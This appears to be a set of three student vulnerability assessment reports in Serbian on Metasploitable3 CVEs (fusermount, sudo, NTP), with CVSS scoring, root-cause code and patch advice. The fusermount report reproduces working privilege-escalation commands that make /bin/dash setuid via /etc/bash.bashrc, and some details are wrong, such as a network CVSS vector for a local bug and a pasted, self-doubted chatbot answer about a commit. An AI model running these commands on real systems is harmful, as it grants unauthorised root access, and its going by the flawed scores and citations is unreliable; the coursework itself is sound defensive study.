

Vulnerability Assessment Report Template

Ime i prezime: Ilija Spasić

Tim: 1

Datum: 25.10.2024

Scan Tool: Nessus (10.8.3 (#10) LINUX)

Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-3202
 - **Opis:** Problem je loše saniranje varijabli okruženja fusermount komponente paketa FUSE verzije starije od 2.9.3-15 pre poziva metoda *mount* ili *unmount* sa *root* privilegijama. Ovaj propust dozvoljava lokalnim korisnicima da izmene nedozvoljene datoteke pomoću zlonamerno formirane *LIBMOUNT_MTAB* varijable okruženja koja se koristi za potrebe debug-ovanja metode *mount*. Izvršavanje sa *root* privilegijama omogućava izmenu čak i zaštićenih datoteka.
-

2. CVSS skor

- **CVSS skor (numerička vrednost): 9.8**
 - **Vektor: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H**
 - Attack Vector: Network** - Servis je moguće eksploatirati preko mreže.
 - Attack Complexity: Low** - Napad je lako ponovljiv.
 - Privileges Required: None** - Napad ne zahteva posebne sistemske dozvole.
 - User Interaction: None** - Napad ne zahteva interakciju od strane korisnika.
 - Scope: Unchanged** - Napad neće dozvoliti eksploataciju van domena servisa.
 - Confidentiality Impact: High** - Moguće je narušavanje tajnosti datoteka bez dozvole.
 - Integrity Impact: High** - Moguće je narušavanje integriteta datoteka bez dozvole.
 - Availability Impact: High** - Moguć otežani pristup korisničkim datotekama.
 - **Opravdanje:** Pomenuti napad je lako ponovljiv, dostupan preko mreže, ne zahteva posebne privilegije ni interakciju korisnika što za posledicu ima mogućnost potpune automatizacije napada. Podložne sisteme je moguće sistematski napadati i u zavisnosti od nivoa uspeha oštetiti važne korisničke podatke i datoteke.
-

3. Dostupnost eksploita

- **Postoji javno dostupan exploit (Da/Ne): DA**
[Link](#) do javno dostupnog exploit-a.
- **Opis eksploita:** Formiranje varijable okruženja `LIBMOUNT_MTAB` tako da sadrži putanju na neku od datoteka kojoj inače nemamo (u primeru je to `bash.bashrc`) pristup možemo izmeniti njen sadržaj kao direktnu posledicu lošeg saniranja varijable. U datom primeru, promenom sadržaja `bash` datoteke, dozvoljavamo izvršavanje `/tmp/exploit` skripte kada se korisnik sledeći put uloguje na sistem. Posledica promene `bash.bashrc` je izvršavanje neprovene datoteke/skripte jer se ona podrazumevano pokreće prilikom logovanja korisnika na sistem.
- **Kod eksploita (ukoliko postoji):**

```
$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit|/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc _FUSE_COMMFD=0 fusermount
'/tmp/exploit|/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit|/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0
```

U gore navedenom primeru, izmenom `bashrc` datoteke bez dozvole dodali smo skriptu `/etc/exploit` koja će biti pokrenuta prvi sledeći put kada se korisnik uloguje. Izmena zaštićene datoteke je moguća jer `mount` metoda poseduje root privilegije.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):** Verzije starije od `fuse-2.9.2-4ubuntu4.14.10.1` nemaju adekvatno saniranje varijable okruženja koju paket koristi. Upotreba varijable okruženja je prisutna u svim starijim verzijama paketa i deo je privatnog repozitorijuma*.
- **Primer Koda (ako je primenljivo):**

```
if (res == 0) {
    sigprocmask(SIG_SETMASK, &oldmask, NULL);
    setuid(geteuid());
    execl("/bin/mount", "/bin/mount", "--no-canonicalize", "-i", "-f", "-t", type, "-o",
        opts, fsname, mnt, NULL);
    fprintf(stderr, "%s: failed to execute /bin/mount: %s\n", progname,
        strerror(errno)); exit(1);
}
```

Označena linija čita varijablu okruženja bez prethodne provere njenog sadržaja ili adekvatnog saniranja iste i zatim izvršava metodu `mount` sa root privilegijama koja nju koristi.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da
- **Mitigation Strategy:**
Potrebno je ažurirati sledeće pakete na sistemima podložnim napadu:
 - verzija podložna napadu : `fuse_2.9.2-4ubuntu4`
 - popravljena verzija : `fuse_2.9.2-4ubuntu4.14.04.1+`


 - verzija podložna napadu : `libfuse2_2.9.2-4ubuntu4`
 - popravljena verzija : `libfuse2_2.9.2-4ubuntu4.14.04.1+`

Komanda za samu nadogradnju paketa:

```
apt upgrade fuse libfuse2
```






- **Alternativni fix (ukoliko ne postoji vendorski):** /

* - najbliža informacija za verziju commita koja uvodi uzrok prema ChatGPT (ako mu se da verovati):


 Searched 5 sites ▾

The code you are referring to in `lib/mount_util.c` for the `libfuse` package appears to have been introduced in commit `60b7b8f7`. This commit was part of the `libfuse` project on GitHub and introduced the usage of `setuid`, `sigprocmask`, and the execution of `/bin/mount` within the `add_mount` function. You can view the specific commit and changes in detail [here](#).

This commit added the code for handling the mounting process with specific signals and user ID adjustments to ensure proper permissions and execution environment. The use of `sigprocmask` to block and restore signal masks and `setuid` to change the effective user ID before executing the mount command were key changes introduced in this commit.



Provided Links are invalid

 Searched 6 sites ▾

It looks like the issues with the invalid links are due to them being part of private or restricted repositories. However, I found some information that might help you get started with integrating

Vulnerability Assessment Report Template

Ime i prezime: Ilija Spasić

Tim: 1

Datum: 3.11.2024

Scan Tool: Nessus (10.8.3 (#10) LINUX)

Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- **CVE ID:** CVE-2021-3156
 - **Opis:** Sudo pre verzije 1.9.5p2 poseduje ranjivost tipa *heap-based buffer overflow* što napadaču omogućava eskalaciju privilegija u root preko komadne "sudedit -s" koja na kraju poseduje jedinični karakter " \ " što omogućava zamenu */etc/passwd* datoteke i sticanje *root* privilegija.
-

2. CVSS skor

- **CVSS skor (numerička vrednost): 7.8**
 - **Vektor: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H**
 - Attack Vector: Local** - Servis je nije moguće eksploatisati preko mreže.
 - Attack Complexity: Low** - Napad je lako ponovljiv.
 - Privileges Required: Low** - Za napad su dovoljne osnovne sistemske dozvole.
 - User Interaction: None** - Napad ne zahteva interakciju od strane korisnika.
 - Scope: Unchanged** - Napad neće dozvoliti eksploataciju van domena servisa.
 - Confidentiality Impact: High** - Moguće je narušavanje tajnosti datoteka bez dozvole.
 - Integrity Impact: High** - Moguće je narušavanje integriteta datoteka bez dozvole.
 - Availability Impact: High** - Moguć otežani pristup korisničkim datotekama.
 - **Opravdanje:** Pomenuti napad ima ocenu 7.8 jer je lako ponovljiv ali nekonzistentan pa zahteva više pokušaja, zahteva osnovne privilegije i ne zahteva interakciju korisnika a može izazvati veliku štetu. Lokalni korisnik može podići svoje privilegije na nivo *root*.
-

3. Dostupnost eksploita

- **Postoji javno dostupan exploit (Da/Ne): DA**
[Link](#) do javno dostupnog exploit-a.
- **Opis exploita:** Ranjivost komande *sudoedit* koja nastavlja čitanje argumenta pozivom opcija -s ili -i (opcije uključuju mod *shell*) nakon karaktera “\ “ bez provere da li se komanda zapravo izvršava omogućava lokalnom korisniku da promeni originalnu */etc/passwd* datoteku sa već pripremljenom čime svoje privilegije podiže na nivo root.
- **Kod exploita (ukoliko postoji):**

[illegible]

U gore navedenom primeru, pažljivo formiranim izrazom *LANG* opcije ranjivost je izazvana odnosno dolazi do *heap-based buffer overflow* što omogućava izmenu *target* datoteke odnosno */etc/passwd*. Primenom ovog napada menjamo id trenutno ulogovanog korisnika i dodeljujemo mu id *root* korisnika zamenu */etc/passwd* datoteke sa modifikovanom što za rezultat ima eskalaciju privilegija.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):** commit 8255ed69 uvodi grešku. Verzije podložne napadu koje poseduje grešku su:
 - 1.7.7 – 1.17.10.p9
 - 1.8.2 – 1.8.31p2
 - 1.9.0 – 1.9.5p1
- **Primer Koda (ako je primenljivo):**

```

587 for (av = argv; *av != NULL; av++) {
588     for (src = *av; *src != '\0'; src++) {
589         /* quote potential meta characters */
590         if (!isalnum((unsigned char)*src) && *src != '_' && *src !=
            '-' && *src != '$')
591             *dst++ = '\\';
592         *dst++ = *src;
593     }
594     *dst++ = ' ';
595 }

819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852 for (size = 0, av = NewArgv + 1; *av; av++)
853     size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
...
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++)
{
865     while (*from) {
866         if (from[0] == '\\' && !isspace((unsigned
            char)from[1]))
867             from++;
868             *to++ = *from++;
869     }
870     *to++ = ' ';
871 }
...
884 }
...
886 }

```

U prvom označenom delu, svi argumenti prosleđeni komandi `sudoedit` u *shell* modu se konkateniraju i dodaju im se “\”. Problem nastaje u drugom označenom kodu gde se tim argumentima skida “\” bez adekvatne provere da li je sam argument \ što dovodi da `from[0]` pokazuje na *null* odnosno postaje *null pointer* čime se izaziva *heap-based buffer overflow*.

5. Preporuke za mitigaciju

- Da li je dostupan Vendor Fix ili patch (Da/Ne): Da

- **Mitigation Strategy:**

Potrebno je ažurirati sledeće pakete na sistemima podložnim napadu:

- verzija podložna napadu : 1.7.7 - 1.17.10.p9, 1.8.2 - 1.8.31p2, 1.9.0 – 1.9.5p1
- popravljena verzija : 1.9.5p2

Komanda za samu nadogradnju paketa:

```
apt upgrade sudo
```

- **Alternativni fix (ukoliko ne postoji vendorski): /**

Vulnerability Assessment Report Template

Ime i prezime: Ilija Spasić

Tim: 1

Datum: 3.11.2024

Scan Tool: Nessus (10.8.3 (#10) LINUX)

Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-5146
 - **Opis:** Autorizovani korisnici sa mogućnošću izmene konfiuracije NTP (Network Time Protocol) procesa preko mreže kao i konfiguracione šifre mogu izazvati grešku u procesu što za rezultat ima nedostupnost NTP procesa ondosno *Denial of Service* napad.
 - Port: 123
Protokol: UDP
Servis: NTP (Network Time Protocol)
-

2. CVSS skor

- **CVSS skor (numerička vrednost):** 5.3
 - **Vektor:** CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Attack Vector: Network - Servis je moguće eksploatisati preko mreže.
Attack Complexity: High - Napad nije lako izvršiv.
Privileges Required: Low - Napad zahteva osnovnu autorizaciju za pristup i poznavanje konfiguracione šifre.
User Interaction: None - Napad ne zahteva interakciju od strane korisnika.
Scope: Unchanged - Napad neće dozvoliti eksploataciju van domena servisa.
Confidentiality Impact: None - Napad ne narušava tajnost podataka.
Integrity Impact: None - Napad ne narušava integritet podataka.
Availability Impact: High - Napad ruši servis i ugrožava njegovu dostupnost.
 - **Opravdanje:** Napad ima dodeljenu ocenu 5.3 jer za adekvatno izvršavanje zahteva dosta stvari koje napadač mora posedovati, poput mogućnosti izmene konfiguracije preko mreže, poznavanje konfiguracione šifre itd. Rezultat ovog napada je obaranje servisa NTP bez oštećenja integriteta ili tajnosti osetljivih podataka.
-

3. Dostupnost eksploita

- **Postoji javno dostupan exploit (Da/Ne): NE**
- **Opis eksploita:** Ukoliko korisnik ima pristup konfiguraciji potrebno je da promeni konfiguraciju komande *crypto* unutar konfiguracione datoteke što za posledicu ima pad NTP procesa prilikom slanja zlonamerno modifikovanih paketa koji iskorišćavaju ovu slabost.

Primer pravilno konfigurisane *crypto* funkcije:

```
crypto pw <secret-password>
```

Primer loše konfigurisane *crypto* funkcije:

```
crypto
```

- **Kod eksploita (ukoliko postoji): /**
-

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):** Verzije starije od [ntpdate_1:4.2.6.p5+dfsg-3ubuntu2](#) nemaju adekvatno saniranje konfiguracione datoteke što omogućava konfigurisanje *crypto* funkcije na način koji prouzrokuje pad procesa NTP.
 - **Primer Koda (ako je primenljivo): /**
-

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**
- **Mitigation Strategy:**
Potrebno je ažurirati sledeće pakete na sistemima podložnim napadu:
 - verzija podložna napadu : `ntpdate_1:4.2.6.p5+dfsg-3ubuntu2`
 - popravljena verzija : `ntpdate_1:4.2.6.p5+dfsg-3ubuntu2.14.04.5+`

Komanda za samu nadogradnju paketa:

```
apt install --only-upgrade ntp
```

- **Alternativni fix (ukoliko ne postoji vendorski):**

Dovoljno je ispraviti konfiguraciju tako da poseduje pravilno konfigurisanu *crypto* funkciju ili njeno potpuno uklanjanje do primene *vendor fix-a*.

Primer pravilno konfigurisane *crypto* funkcije unutar konfiguracione datoteke:

```
crypto pw <secret-password>
```
